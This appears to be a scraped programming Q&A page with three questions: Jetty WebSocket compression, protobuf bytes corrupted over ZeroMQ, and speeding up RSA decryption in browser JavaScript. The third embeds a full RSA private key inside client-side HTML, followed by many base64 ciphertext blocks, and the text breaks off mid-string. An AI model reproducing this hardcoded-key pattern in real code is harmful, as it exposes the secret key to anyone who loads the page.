Getting Jetty Websocket talking same language as JavaScript Websocket - javascript

I wrote a Jetty Websocket Client which is connecting to a remote server and trying to send JSON requests. The server is rejecting the requests as invalid and closing my connection. However, when I send the exact same JSON over using a Javascript client it works just fine. So now I'm left scratching my head is it Jackson 2's encoding of the JSON vs JSON.stringify()? (diff shows the two JSON outputs as exactly the same, no diffs). Is it a different default configuration between Javascript Websockets and Jetty? I'm definitely missing something, bashing my head against the wall.
Java Side Snippet:
final String wsAddress = "ws://" + wssUrl + "/ws";
final WebSocketClient client = new WebSocketClient();
final WSEventSocket socket = new WSEventSocket(loginRequest);
try {
client.start();
final ClientUpgradeRequest request = new ClientUpgradeRequest();
final URI wsUri = new URI(wsAddress);
logger.info("Connecting to {}", wsUri);
final Future<Session> session = client.connect(socket, wsUri, request);
final String requestjson = mapper.writeValueAsString(wsRequestPojo);
final Future<Void> fut = session.getRemote().sendStringByFuture(requestjson);
...
Javascript side snippet:
var wsRequestJson = {...Use output from Java Side...}
var mySock = new WebSocket("ws://" + wsocketUrl + "/ws");
mySock.onmessage = function(evt) { console.log(evt.data); }; mySock.onclose = function() { console.log("CLOSED"); };
mySock.send(JSON.stringify(wsRequestJson));
The Javascript side works perfectly, the Java side is not encoding the data properly. I've tried abunch of things like JSON to byte array and such no luck. I Wiresharked both transactions and I see the WebSocket pushes and the Responses. In Java I'm seeing a Payload that looks exactly like JSON and Wireshark deciphers it. On the Javascript packets I see some type of encoded data \214P\311n\3020\024... I read a little bit about Masked Payloads and both clients are sending Masked Payloads with Masking-Keys, maybe something to do with that?
Any idea how to get the Java Jetty side to encode the data in a similar fashion? Or even what type of encoding the Javascript side is using? I'm probably over thinking it at this point...
Thanks!

As stated by #Joakim Erdfelt in a comment above the Javascript side is using Sec-Websocket-Extension: permessage-deflate by default. Might not be the best way to set it but I updated my Java code by adding:
request.addExtensions(ExtensionConfig.parse("permessage-deflate"));
Updated Snippet:
final String wsAddress = "ws://" + wssUrl + "/ws";
final WebSocketClient client = new WebSocketClient();
final WSEventSocket socket = new WSEventSocket(loginRequest);
try {
client.start();
final ClientUpgradeRequest request = new ClientUpgradeRequest();
request.addExtensions(ExtensionConfig.parse("permessage-deflate"));
final URI wsUri = new URI(wsAddress);
logger.info("Connecting to {}", wsUri);
final Future<Session> session = client.connect(socket, wsUri, request);
final String requestjson = mapper.writeValueAsString(wsRequestPojo);
final Future<Void> fut = session.getRemote().sendStringByFuture(requestjson);
...
Works like a charm! Thanks!

Related

Byte of 128 or higher in JavaScript is manipulated when send to C++ application. How to stop this?

I'm creating a test network where a node.js application communicates to a C++ application via ZeroMQ using Google Protocol Buffers for the message structure.
Data from C++ to JavaScript can be serialized, sent, received, and deserialized without issue. However, I'm having an issue moving in the opposite direction.
If the Protobuf message going from JavaScript to C++ contains an integer with a set value over 127, the data is manipulated some where along the wire where many of the bytes of the payload change.
Note that every message sent in both directions has a 4 byte header that works (seammingly) correctly so I won't include that in the conversation for now.
I've noticed that on the JS side before sending, the bytes for the protobuf serialized data will look something like this:
26,4,129,192,136,24,64,40 stored in type Buffer (npm).
However, on the C++ side after receiving, I'm getting:
26,4,239,191,189,239,191,189 stored in a std::string container.
I have verified that the bytes in the JS Buffer do not change up to the point that ZeroMQ sub is called. However, after that I can't tell what happens or when the values change.
I've tried forcing any use of Buffer types to Uint8Arrays with no luck. I haven't tried much else because I'm not sure what the issue is in the slightest.
This is the basic flow of the message creation on the JavaScript side.
var data = new ProtoData.Data1();
data.setTemp(128); // type is int32
var payload = data.serializeBinary();
var size = payload.length + 4; // 16 bits
var head1 = 4; // 8 bits
var head2 = 4; // 8 bits
var payload_buf = Buffer.from(payload);
// create the header
var header = Buffer.allocUnsafe(4);
header.writeUInt16LE(size, 0);
header.writeUInt8(head1, 2);
header.writeUInt8(head2, 3);
var msg = Buffer.concat([header, payload_buf]);
zmqPubSock.sock.send(msg);
Receiving this on the C++ side will have a completely different message received. Keep in mind that if data.setTemp() had a value of < 127 then this message would be received on the C++ side without issue.

Decryption via Multi processing in javascript

I have image data(210KB) that has been encrypted via RSA algorithm. I would like to decrypt that encrypted image data into Javascript using JSEncrypt. I was able to decrypt the image successfully, but it took around 10 seconds. So I thought to use the multiprocessing in Javascript in which I want to use JSEncrypt functionality which is loaded in script.
How to use parallel processing in Javascript to speedup the processing. Or is there any other way to speedup the RSA decryption in Javascript?
Here is the sample code that I was trying for parallel processing in Javascript, but decrypt.decrypt was not working.
<html>
<head>
<script src="D:\parallel.js"></script>
<script src="D:\jsencrypt.js"></script>
</head>
<script>
var decrypt = new JSEncrypt();
decrypt.setPrivateKey('-----BEGIN RSA PRIVATE KEY-----\n'+
'MIICXAIBAAKBgQCsqVGJUP6PhkjLSk3BkVRxg9ikUMZjN1BLS+HmEcjlVbkbsSuO\n'+
'K9uMmtZ7rkmL5aXcLxzNS1fexlr/ixvHeaK43KDXxob5drxcwCaRpadm4JjEKWiG\n'+
'ExbRUIorzFRqxCKFTwXRLerXhyFrfTqv/XNA2F94XwWBNuE8cs9S0ude9QIDAQAB\n'+
'AoGAPMzq/3XcDmJ1I9EojG9G0ypgkYw4MBv8VGeGRuQgYFHNe2jqM4hSKbMksCzx\n'+
'jSfzPhQBCnHroXEr/izYPWgh2m73737TYMHN5UVp9Kt/D1Kg/CUu6SDB6L6hbSYK\n'+
'YkWwifBtPzNcpF9cy7DPVaFGEeCkBroy86VcoQ/cVR7Vk8ECQQDapO2ve9Y332al\n'+
'iW7+2rFxSOeXwdofAlGpv378rAUIWrkGH11a4AtXInaPlty3td225IE6SyJu6trU\n'+
'4ookVNtZAkEAyikwrR6fDOqBPNrVKclfLjdFdfOhVIgdDXcD9lUhmcLJxF9NPKAW\n'+
'cVeCloFuw8eaHv8h2SrUt2itTw/N3ERY/QJAXP8XhbNTezJPM4uQJWAZZwjOUJMI\n'+
'VnYjC+NCfPAht9r2pa8DgxqWWDp1WT+eo5j8M8VfXc8FV04XQ8MTZL6fCQJBAKCY\n'+
'RCDiuHrsN6p+NOQzIjd2lOl0lu6uClZN+4nOaxjY0qv7AUJt8iYr3INvYuyIPfjt\n'+
'uJfqHH1u3G54IZMfgIkCQHBNzxAMO1upPNl5pbzw8KZyNavk9F+uYa3M54cpIw2H\n'+
'uO34E31dml3/77FAaCe8lIo2ezs+nbYVC2nNQZmGtGs=\n'+
'-----END RSA PRIVATE KEY-----');
var r = new Parallel(["qc7zdvF+HPwCiihmjy1frb4qDhAFf+PNhCdlVQdyLMNKm32j2N161fiPv/IHdXWqN1BSlkcPOXSTMkPCkMF9CHb3F5J7l6aw7fmwisptnMDhnlo4ukS04IiGpF+yu42bACXafHDD/qZsBygBDpdc26scb6bb21msUOGcO20oOyk=","Am4K7lP8gGI6dnbDWyZ4N6w5Foxq3IlUmSuGB1JW8MQqTKeKSoCPsCTqS3xrONLfyegUrQlDvONy/xKtryyuL3a8d5jQtmZ/mcn6D/B0llQsPDo3ie6XGRS++oDuNrMDwLbGZrG5j//eWXfaSRueGGxUHQd5dHTwjb+h1Vu/tK8=","AyHcazMAc5EwYMS8RObBM8c6EX5l7BSQd8V2BVUvCM+6QWZCqV888wx1prPxfjM0zOsPYUaSowMwbbtnoeyRuBX4StT8I0+Rkj/iTXOOU5BILpTi9/s7kVraY0TDHed5ZVNlkoAUrK30ny/VYe7MvjL48ecCD2LPqRGl+/Wejnc=","kzMr9po2vakHM6vuAro64cMAU810+z4HN2Jo4QK4+z+bwHWTA+dPHq6on5oub6d5Ko4fx00nZeBnp/m6oe14kyIiqrF0Z751fZv8uSxQ7f6ar1e6lgTqtOAaGW//6xTPyJlgYaqCO3EgQnuHvQYHa6T3SXWN9M9pwhARUwjOics=","gNuTWUUYI/PfNNBfIofHUQEiPct0nzPkVLJBSufZ5Ilm1YtnloUeeSNmBnvdT9GpLU6Giu5g/fCLGbianBsQ7SUi2ASCYDw6SngY8X4jRBjjFXE8ct7c9S3rhEKSmwPwZ6v7cbpXGTSStuhCYAXmhlV5HwHyxNaIxMRMgWpgLE8=","M5RpmPTrd6s/Ur72Q9N5yxPdP9wWbP1zM9EMpjTZlPgVTX2DQG5bgcEapovyszj+3ceUxmexTcRkSuzEQ9FChK1Tk8IjQMvpbiHNO9Bgx2HXabO/3f9NR+OaxHxZxKSV5pMH2TYofbjzPo5GJZ4CZpObeBEHTKjBgGI+PB/ysMk=","L+K2jMDGOvW3Qt9BI1BB0E4WKkUHS8G6SPAqeozes+DZ1I4FSB5BbAW+yNV/I+YvoLD29Unlym5YvjQBi9+XZlG5SBf9TdTsj8AjBTS3CiQobWtzqNmBAnwpW2zWyJPqO5mTC6DvOADkXHsrKtBqJZCjHdb3f92QTFOlLfuWmsw=","pdK1GSDZC3rTFX8gHeDPTQDnBFxL8h0e2qtxiPKNhuatnvqw180E9nqebjIS15faEKEBK4iWxPwR58s7rH1VCnzzTyUln1bOk1TfHiE5SPp66eb9fUvwUQkw/98B0KkwJ/eMK+nMqqh3eURTYm/AtdwSwk+AQpdhRJtp/TGr/3E=","BKl+JVLvfssawrsUBtOe9KdQ4HxXKzUk24RxqMnukUncGMsTaT5LBeo6ngD04UkREoYuU3YngbR/EcZhEynTeCNsvpo9LhvHKwcxTcfKfc2URFiPK65ZLI4WxdJ02iptGNr3FBk8GkbLCOB3m5LI7POZ2faTe0TejJFIftBjbiE=","pAnR9G7U5T2pIEgiZNluAk7/i2/aDXbBtxD1N3KjMn3eDDTweZzoqFbHua2LRFMQ9Rfe0X481YdmM7rcNjlQ0BstkdkaHcE5PNOVKrxQxW3IAERbcvFy6guc2hslh/SFVhMqS4cVXGd82U0Pq3C9togv3Jgt4S9l9GBG4jKGP08=","FDP5NUmMLVNQmmpxGil0llq/0QeLNTlscuMC4q8/d/NX+0N7nMUB8rSKMtRof7SV7Thr5+tC+VViN1oYL2Hc//gysIyS0OYXJWiOWlTLXp0J7dL133h7G7OWZHX+H6Pl3EcgCPvM5YdtHWX5UFOFeLlnZlxR24Euc1XqFVG1o+c=","qg+5Yd8Tl2FZSZgvLOu/V99NRReXZz/MLzFwXs7Mzt2CsHDMZg3ejLK7FBL2zV7tIwapJH20IxtfRoHismAX2IOFhv8WwC/z3CEMXQXYhJA4kFIVOtSpIbCbyfqMUP27jidoIRAgzmLJzzr4AwD3VTdaJZKUi/Uv/DIWXJTtmVk=","ECicU2n2hVSq4DccqxEIPr61rUoLx9e6n9U5AG86D/Vc2uLpHW6sIoOFeAq/ZCcL/j2cp4oPXxsDiT6mbvF7WtMEVhbpgj2faJQcMGbAds7ycjAlBmm9qzdsE4PH0oAUk2vt9lkCodG87w/+IUltYCbGUncmClBuLsZ9t8rPX2Q=","KpT0qqQ+JzVNkBGmg70D80DYnW47GY5zkF6+CxgW76SSRpou2YxgDfyvJVCVE1qSoow4NFPbEJZMTqDcR33RTYdU9EIykLw6XbLchf9y2tecUGtYjLYCzv3SelwusadNswFUOsm5xsKxafnXkvGIvKyy1XO3snSYT3KVfboYDxg=","KQEPX36hqwKFGSF1n266L8d86hhZgHoZfSTxhAOt7+lQH9obRJoZObEq3WflHbJUGhF/6DMgDbre5YgPCq/0dL6/2taRSr2PkG2DsPM4Pkf63YhN8l6l4D0PHSSZP218Mi1x7ag4aiiu/ZHYuGGi0tcTW8wIWjt5U9sy6v8SHFQ=","eczqC+Q5sB+RgrhInvKSswDH0W5cZ+/mGnjFO7dS8DZ1l77gdCN468REMMnmh9DfIrAIgl+71SdywGggN/ildgACirpGXZQr+1RvB8UtDAUlDusfM2vtwB+Az5lymv4QpUekv66hJL0G/kGU4Z7QXJc31vZz3yRutkZJmOINJ7M=","hlHbyfShPCPdpncZ30RGxvbfXqhjbnXu+EF9LBBeTbzrI0i/tLIKL5fBQ0XOQOsxbBqGqE6F0VCfaGR9hbuM0b6fCLRPrp2LK3LK4qhXJ+Ha8WYAfM0xk/5XHgMcaeNMa1H4NrPX3EL0F4BTsi35yTGFJ2KWOAsDVFDRbYN3sF4=","mual4G7H5zF449HY903kKSk4KADFj6+2Lwa4S0tw5aBCUGxAsm8awYHS4vcXd+AtHUDNtrZUyxC4COLOanNQTQ2fdnf+5lWqqUNTS0F+YnLNndGjBU2RdjvZfiMEhciuxIGb68sx74LfvM07F99jEtKnp1PBL2sttbquYEQztss=","Migv5dRzIFj3PiaHBasj+3N6yOybgDMpEoSkwOki70yytgkU4ovu6UUqlL6m5a5fCO61W4YwiT3vV9AcxlMfBwmxcxJUXOf6O24Mf1Ps24pasHHu8QJ9HAviEq2erLtN69ftI2H0P4mvdrw2zwdLmHQ1pwxlO14TajDmnGjuUkg=","Gz4iPZvRGVe9VFK5rzeXgE0FItidX9iPAbN8UBTgxZcZmugpKDpnsDb/Y9WYAgG1Nvf7jux3QbtTsjsgNACrCZ4trhqW+d8fADURFVkaLvGrUTCxIcvjcnDPuc7sBpqUSZ36mteMhFn42rwaLzmCOATa0/gbrxZjckh1yJr94hY=","BVCa1XEO+9kmA8sEpgvaOvJx2D6Dle/sXcXiHHmgaWXKwl0JKsRmuG/8uC8qLRGLDsXMDSPDZM9tSOFk+SZjNl7I+X3JU9hrTi5Jf/2aTePJObUNffODmqTw0H29Ht8kxzoXQZ8XTeym1VVzdSFZ2co/2UNeiP23wfCEY1Laso4=","BHxfRJHVfzPnsAOlEoURAYQwJYlD5JGxBO5Fimi5Eh2r/41ZdDu1CCDj1cPiNhExb6xJlpK30ViV+4XUjy2+Ajfj3kyQTpTLP/vfiTZB5B0H/N0VBF2R0rxhglX7bMecMpoNTwWtsRuERhZTObEQCBJMF/Q1SxuyRO0mczjiy44=","W/KypEoAM8ZRipsYtP4jjm4i+3rFUwsU+9Ckl7EueOpf44nBTK568h994CTu4/uvYTJ5Tb79GdKQ1uCggQrK2Qc7vXiB+D1AkxgAs1CHAIAGKwkIuDwAdWxt/BEUjJ86pjh6TWpvY83l1s2pd92sFvGpFegsHtqVoyUgkTu2Cb4=","V/C3DczOIiM0kTEdRGRz2cbJWzP0s5MnrdZOOee/Zgid67r+FFKEC2VxbtG6yiXr2KmcIgHr9KVdAudjXxmjIEe9Xp8570DiglYSg7u0vyyClHPfYCZu1GUIjN+eFg9DX8WgXAMsbLVSMhTrRMEXlEvpm2hT+7b2TDceC2Oj8Do=","qrK6efhqToF5Bb+Nc11byzcK7y3rDYewXOYwZ1f4N8r3VoC9QUXO63BzDK+iT7T4RpL/BzywC7cwTS1+ozeaImXgrVSyYVdkWp+dzHh8tKFLrOULCmaRx6kKrKGQTYgJUd6Ajq4gjYT0eXVO0eFfPfnxjF/4oi1oZyPgBFmPLXM=","G7Cq9G1O/YEGtdyJMVmmVDekuGp4zvnqaTY+lCslFWzwfYFCEpo6Oebn16o3Uzdr76kGlaZ3DRHTWlQ5fn8rhDNyYi53cggtdeb1UQQzKBPkXeEipMhAwRTsP/9HD6fVZueVxfOCuskbQU9CxVPk2hiR7qX+q39fXbNsit/JCnE=","nrzc/2ZgBRKg/FzfvrGhrY2DxK59uKxyUJoHRSJ14jGza9mdAzYUJcjuCcjTePH8bNsiQm31glF6kF8Azqs6YDV1GpyHMRaVgUVa+9799vhZsIxOArq8LrQH274vLnvISSgi9gWjbXJObc55q/BE00AAyA7NioGID6jA0qk+Miw=","nBu7mW1HmUCOsSiC6lqwZt9kQzHiwvqS7t6Wf7gblD+YZpS2ykCBYu2WziOsZNHSXoNscEINEUsPE5LkPF/qG4fY2UqyGB/WfKts/6ZZfuotICHFGqRwDTL7QVaGE7Id9UML9aZdx9mHVfIJGOelGTdsiWMG5VjFXM17VE2I/nA=","oiXJ7hdyR12L/BM4iYmPuiw95zccrOssAMm08BJWr9Jh8exy5eHnBwr6QWXqT8dYo27ia05wRhgkXxFw8ak+gZ+6cmJdspeG5ATXn/mKsZNcDucoOdj5x4Jrpuz3ErBR2aOQD3R3apc3O3U5Og6unozkjNXWmji1QTbPdivvGtQ=","XwZCRae9cUkxWPwTnREDq+Rha0FN7t1O/RO3reTZ9bXajy4CvDkdcwaygW3zflZk8WO8/WQfoE9xkUZl23/qJxxr1YV2TZdDTJnZSj6n+PP7KRmzZZUVqkI8CYqp9eh4dE3oHqTrtd3nJY52a5PI6QnM3q4sgVLJQZs80CKpDsc=","WxyA4+otmD2XjwnfYWBkaxTokk3xQZqCGeJ4I0eeISOqy6XXXaJYeZrpeC3t369DVWT8YnM54qA1e9QNn77li4Qgq82DIJBmr5q/rCd+s94SmIYeWZxWPu/q6rxkHYogl/1KoDUJ9BfpF96mSmY9WYTq6KZ6zCKtUb/Ylrjy7hI=","k5Ezr4BOy2/rx71LnW2FhhgMfqMLHfFA9Oim3OEYxrcaGFyxLnbFC8vcjRfwDoALTfUi0o6zO4lxkwLiXzB6YnXDyW1ClSuD6F/4JacgpZo3ABdQA2Arz3sZ0vhBDNEIlM4vaBMJuqquBu4Y9jhIv9xIldaYUTjrWJz4wMtu4tE=","bVk0qNU6PuN6TwZnGLtXUTS0mBOBxjcW9tO22mTfY092d14wiBuDHaz4PNbzW8fBK7coPUjmNtAyobQpkFCuaTOBZ4oFJ5ccNWJFLEhQk4VJYq6Rs1UhL+BQqiial68+2jwpDJuEFBbMBfMS8BTZpBwlodmXTnBI7bFViNdk0sg=","O//CV2ww2HXu3RNEZvOrVjJVu2gSOOrzPtkh26cmMgRpEf900cF2EEffj1AC5JZUVXS6NoaKrUhqvNa0eq65feLe6He1Lv1enzzFMvquxpqIO13dz1cjM70C4wxgcArRFzqlbdfFd6k8gOhXy4i1vuz+uUG9UnyeiapO+ojJwMY=","cHNNtzaqEvUgF31mD2a81hOgJcGk+eL4tyJ7HXhTLw3d5jz0S6tdPgA/wBqWgQd4MS4wtLVXXG18HXCpL01dDkOjS06CAYRGxxQFJZvLvxYs4gsqnXYdT/fJC82HivxiwIoh+5ndLZY172JQI4pe7fjOojWrsQz9O6vXmh91tqU=","UeAUeS5VWElo5G7+On4/BpJywCY55BaSMcByzNpaCcLBfxaHQLSwman4nYLOYCo7DvrivpP8P7rrYtWbxEQuLmhznDU3Xf1FH4hipeY0kjs0q294reTtemhuyeLGx3L0Kr3CP1fvA9YLjC2W44a3nwqFHZ+cGjFiAIKBMDUxN1k=","WjmnSy/lT0NiSXgEhzDNioER/kPQ1AzqV0k+yDVyidSzgce4WsCLI3AOh3LQCQpDwhFEyLXI7O3OiPYS5utlLsQfJxtz7vvCqZt7XFPbJRyuKpEbKb8j5d16IQnExIitYN3N0iPeuNnbbEKtyf9rbsvMH0m/u2wfT+4ofAIuRbw=","O0rlz6xURLgH6MZntvhtulFAHoYgZcBkSuPmoagBSiygrmJDFZAwAyb56t/U/DVQuIis6ZO4iZIixCVh6RcNZAD4ZoAxKNVwB25doZEQ8RBCe4OesGIVM26mdBdGBrMFbBsVYbnyr1h31mNHRqSeCmh+nI+jsBQnYEqRhvcrgWw=","m/is3p/3n3ZrasTp/JxETjBwKn0V7K0TAP19P8+ibTwmOOXMGgZ5tQcORO+6RCS2Zp++SGyWn0NU+U0KXzhCYGJc6m5I5ZUzEbu1OPjUyrO/Tjdd6ECC5SxOPL8svXOiHvLg54kUJXX6THd+szkw9qSl0+Uw35/C8o5IkqjnHwE=","P4U6RzJgPb32yFk6U6oLsQtfa0zaEd9Q5W/t6t4N9Hd3jceIEAONLDoW4MX1smMHdEsZURRVzELrB768xaSLgpTHdhEiNUpOXfknTDulZ5TiLJg+PETI3FZmHLYscnYW/8DCMLB55dD/H3YymZlgQebPHKC7vX+4ZFDg58/rLgw=","EDko4Z8h4jl9pLvhRmTvztokHZV+nuvfcVQtKnGTJgmJbbSfur2+4HHUs/3rnEn30on0iWe5gXX/t65ExwdV5czq7fKUtGZFHQEHErdAg8LwsJsF6adUF5lZ7eANZO9vOmyo3/Zde2O/tuWaemoPkjbEJkyhso/X3SKnwEifKLE=","VZy3TezmtyEdjf21cpTiKhtfJ/L/iQvY2kRpu/6PG0owosia0FWS4kdNC62OknQNaevPGuQzn8ysuFaK+eNR4m+ngBn3KjGdMlyka6mVuqCKhVGvUeHXTjr1gSFDsp+QoGbCCJhSX53NfUhftN/t+IAK+KLDJRCvcjh1Ap0vc0U=","dILSmHS6ugK3Bg6U/YuHQ9TOLmIT/MjG+k4xNz4ayb9Wln9OEyW2MYC4U/lqx5ARO69u/15PuSsWV9dkU3XAXaoBxh0Y+ymnR5zoFgXGeY9lqJxt8dIZi19D0AYnOxIxbofDv8mfEB+6OypDc+mA9w4ebkQ7GTH0bk3hlDMyJEM=","Fhlj31Yo0KStffR9RWYe4IoxNQbrg8W0KIaD7eOfxCDmDQjS6B2EDFg+56esf6w0grHzGsFXMw91D7NHkLbJFp5k84Yd5C6i23/tV+3Qmz2GlrW+Atj56a8VqqpxuSbmgt7VGt/M0RzxS0C0apq0PvT8w02WnWwzsvt+5D+5uMA=","F6Jpq7Av814O4JnclvL9OjthpcyBHDKWrT3W0ZJ6yVg/l0E2GONBz67N7NwMew5WD+oXFO1Ez2cK0ywhbxYBkYe5EoimQUebHd6G/02gZ9D+UtYqo2r/Mw6JQ10ihDHDC4uRlu9ZH0AC58s9iIlTi7jmTfMxY4fA9WlsB0Cdr4c=","k8tqdPIYr4PY2sixPg3Tfz8t0EDi7/GX6LT0dGWILEW8ZR/BaNzoA7AXiWrYqR/xlwljiLiPlHcAFFTqR0eAk1WWXUlK5lxHQAv3sI5al/WJgdFXi1yLRSlaAHl7SDbX4N3G1F5XNm74x3Ie9dS7VpQTey/NipJtyNLa7rF6Fww=","p4Al6Ml5Fb5yVD9oiUfzjKCkVKxF8ChLSkimQsDNmdS3Xb6KpHnbFc1s02OwM9jgxH6u/UXbzsBV44s3STzjlFKMy4kcPh8dAxyuQLgb1RNdXsj6TF+pakNsurIPNNNvKmOK8VcEocRlWfuVrF/ZYMfnF7PrEfCFHn+gRSrPFsA=","HSvma4T4c6M9bhCXGtu6N3tKNwD9G4SuCHm3l0J6phup5utFKqFMVXc50dfcRJPIvfpgbvuMNI9wV+8tD6V/SmKT+s85ynUhr2/nVY+Q2raMjbn+VXJsefQOlyWLUAgB4DzOOqjdTtJrN90Isk0nCd2O9cAk2X4bBkP8JumszyA=","PoC+tajeijH20hk1WIroEsHH+rDYIUZmMXuqt2moX2rHJyOZhZWtCapud11GzwRK3cGSBQEmSnEtoCJO+LPRKYOi5qtAh1q6Kjrnj65TdXYlqYwmv4NpDi3NBGA0q/j6ibnswp5BcSoGhD7fSRc2vcaM4cBY2ygmN2hAcazIpeU=","e07WqMiu7Jvo/fX/r7z2HgqqU0twF63Cwze8zqfbpq1F3C9X4JyhPxJb6rhUoV8Wuvlbl8a8JlVqHnV4O82pUrMzTykgSFqgwvIXgA4QP8wtPhyZiDsm0cQOXt4kSiga47xJs40WiF79qg3h8AFLXyE+MdBUULkHzb2g3gyeYEM=","NOu/JVCSRYal1Hw2vpzWKUooDcxiz8pQqOpaDQVgjWTz0qkPWnELJuJ6CS4vUO525OhEIdy2P/VKV8aqhMoP3UAQkVPFFnjhcFgX+hpgWDWVfSz+rrrLYn9Dbu4BMA0Cldulv1Sd92FX0BbFomKWO+TmilQjE4HcqicsWc6uc5s=","R1jbDGZ06k2tdqwfYbW8LCfA5b5RYwKmROsthpEOmskPqDVqHmoT/lxnI0E4FpOpIWTXbQCsAO7JYuzNlnJ6ck80+auWrGzpqrlbauThyzvAZ/X45pc3YT3YwmlqFLDvSYXpUAiMYWExPTWYqCJthApqjzQ/UB47s7x6+D5BWrU=","jqBBt+ngGVsj0inDUgQSQ1P3TgyUNLQMdpSQ2mzcAwghzjJGs3w1FsxUfdL8sZ5De2FPLv03YfOShO0bG8N7qHQngnvDp16qiEms+a5V4MiyiAl8gHFfqP5K/AZhyiEr4SzIsO0l0qQiQeyHNY9onfNLRTH1p85aVMN0Xugxk4o=","dxlgTUdy0EfLWjW0TcyKLfocrc4m7aKEXblep9bzsQ/AmayLbxGiTixin6/WifeHPwXMzDVYHvEaN572GGRt6HRb3IkJc4urPHTIe1pgx88fXU8Ku+MMIixn9FvKkZniiQPnDmMiu0J/PtueFXd7lxDE+/yeK36K6ezhgGBjIWI=","AKqu94tL/qEDdEJY7tz6NuwFYSsvwNGTJ7vgGSOWQ3YKWjR2bIWzBcmekZglkP2laBZwWxLZrdCLuaY0aMolN20mV+TqdKEg86tNQ3HKX2CyZZOAMT9VSi/eHOTL8dczQh9DCIydJyXysxBctD54z/RoL2eAKu6Wx4fEoTCuiCE=","X+VpgInlMxzNqQm1A9RTCqwJgF2TaBqoW8hGnVz7pvjF5esmI7hdpWDzvFre58uKc5I2n/WmkWYYwRwTZP7RMUtG8tE1dUjC2ozTOjGuLrFab6Wik/FwcsIXoRE0gFt8oSg6/0B37xEv/TndZxE0G22b0GRQWD5YN6KTFJ6e5U0=","d5q1xGtrJtBbP/Rn9zMcCj5LG4jWd1CoWEpiIqBkyy4jbicOCcPolssZId8yaXYB2v4g8m+q0lcz0JrwS5qdABLLg/gQfkgYSagYEpQhw0PEGp3tDYh+Py1WW9Id/ZbGvAGuyc1+y/vykvW8aT06BrrWjOvdyb94Xtsl02Ak6Es=","PzRgvVjL8JciNA8Ev78ZxkFaVTpT1rQpPOnTO6p49pY7zTymAXOuPGEGjUgeTCVmOp7cRNW0+J5eRnt9AV2xdURMfkxXaC31L4esO4n+oGCIJ5kmnI4UoZbVI6JJamb3OhiupEcXMZaGaCvAACVsLiQ3Hx6cz6i3XMywYdH+syk=","TO9WBtE3Mh0Kk/YRbfXvVNJiecTRVIkCfC1vqvyRymRgLd5UZxiJwsO3VQ7lZccpesprGPUAHRg+biRwrpksZ8f/oeFqZAt8jZsutJj+bDkQkZvi7pgvy9uuaJ8VB/LHM0+P1vQQn0HIffjdXxIqce3xTO5fIibV9diLVb66+xA=","gpHf2CvGc2lRB8nObYYYH/gdV/pHMu5SpKew2LsVw49lwBrryRJkImK29EKrH90ar8ZOparzY0p4BSHjhjqzHhGfLfjg6Wyhq3OfAmdT1mOktz1FtMkbLTE3jutz1oE5pS3fUmH4wSA1nMz/dKboVUQHazsJHDf/L6aNH5xljyo=","WhgufHL7CNPftNtH5yCNDwtKpVf0fazGv4KY5M7WffTdkaVVfDX4JsSxyNFBPOYP0YqII7qwkSwZiQIjzbsJ1/CWv7B6lSEqDOH9qt3OGx5DWFsMK/I2BqZmaboSdzTK2SGrzy5n6fMWGJv3vUgBNsH71MigSoUfdM+o73GNqSw=","eZNBdVL3EK8sqBRuCVUDq7yIaNqNvcv0hqfweEolia0cAXLs0ZzJzfT3gpcek6y1m+O4sRNRGW4CkIF0yZE9aVe894cL7Wm66y+TX7EpmMd3c6Dg0s4/e0oq2fFWs9V/Z+kWmO33LY0Z9nlJoY9peMutN2ChYlkdwSDllAIJN+o=","TU7K+ORHQE77TKw6HQfPXRrn1/4fVJc7Jytl/+/hcB9uguvOjkP+jnGjz0dENKtZid9ow6Sp5EMfkOW7Cz9mmdvYgbISAM/IobwugMvVwz6ohynmenxYY9571UC9yjY56BhWjRidxAMavF/5Iilv5FiuZRP1u6CLzihkl8Sjmf0=","S4iqDR9x9MvNThJth73ZWlaCej3HIXkIfN4IMV9gOYbCc3e2WFOcv9zB5hRh8iEDLqOIe0zRmSV/lmRBdp5BuHUPYdpzkVPZHuC1MD3stKLcLtL6HEyAV4izeDi7iOJCddDX0EIPxwJHJhpEFV4gX7Qx7UBLmf7/ruQLHts6B1E=","QHi+H59vxGX65F8q9ZB8LFIT+1MXQW/pDoRRoWa9y6K7Xbk1+bI8cqa8FRC+vwO4zSlZd3PMMC+EgdJzj1S+mqpNmo2APJ7lxwxHn3Vs2Vw2/i+qOLdOwxlcATmp0WTsMBZ5C2gDPFkx1VqGfUMaHZOxjjf0O5hYpKkD4v0jSJs=","A9mAf8HtpsOrIFvLM8mjYEAWLgGXtn3nnxGB3MkFOqMBEwou0o85wMWhAORCyd8EkI0otEM8iRc4j+QVYxKXs/p4FMJOfblRo3/Z5ppKOBWXSNsKS7PZm/gjyFmQpOzDlKGhoKch0PzzQ5O45uff2rbNQg9sSyM58AmCz780Eaw=","F/ETESVxG0eLZa36c70nlYYtPwb3j3980zAExAuT50jzUR6JpjkKSqk3yI6rtf3+mlpEVNzVYL49hwV2Jo02bwhr7Cmc/zS/V7v8qtmj+NA1ALpDNGiqjFW9Kj5UmnO2IKq3swg426nlIQt8W22djkW3/DQ5bJCl/WX3HLyRqVk=","qTpQK5CrGWBuJ9fhVXaNg+ujF02eMUmuakWB5U6HN9YdEyj5/VqaFUZbeojPY0asfgfvPm3gPQJYn/FXoSHxQM5vTSVvx/cZ8/TiQgLeZ+eB/09UMTqUSPDNE+R+D98VC/VomMLIQJebw9WVa83kVTEcYHKt44VmssmHEubSOOw=","YzH4OB4r76S/YFPp8VN0cUNTwb75ww5NESVDWFWl4EYWRfWKNH/CJX4SVi4fqhiRyjuwO/38LnAd5GWqTYxo37I1oESixQQLUeBYl8jtyUjBu2HYg6zy8RRAuwwgKVsD3gcbenHI2PwHp0zkOOEOivJqZ4SckudGlfQl2Q1hTEs=","E/bjX7PLBBkzb5SBz+EMDLNGcVM2+nUXM8Yqrwpax8nIStbhrfQWMmwAOQUG5kcC4jSlbrqezr3F3zcqeXs9sx5jA045/GsiL4oCE6ksImZhexdueeqEGO0+ZVHZhVUkRbdR50p+dbDDGf5ta3ZrtnfXqRCua4lQowtu42p8g3s=","nFzwyGZI2rSEL8iRj+RkVdKMGQEQq4In3ICTOk/Iop7dCC6oocHz82p+Fgm/EOYYAoL/SHQOzegBqIVAKz1Bx0I+Wf9qMXhfkXMTNKKHzWoClJ3PWLR28+cW/2oPQJDq5D32OmBvR02V7rgd72P1XRUCkp41vn0R1tl9px1Rmow=","deFVExlJA/nu9tm5jexmlbwoL0w/DBswGXPA4EeH+kUlPwhm+kp9v8twfWH5/l7DpExwMKtamKHh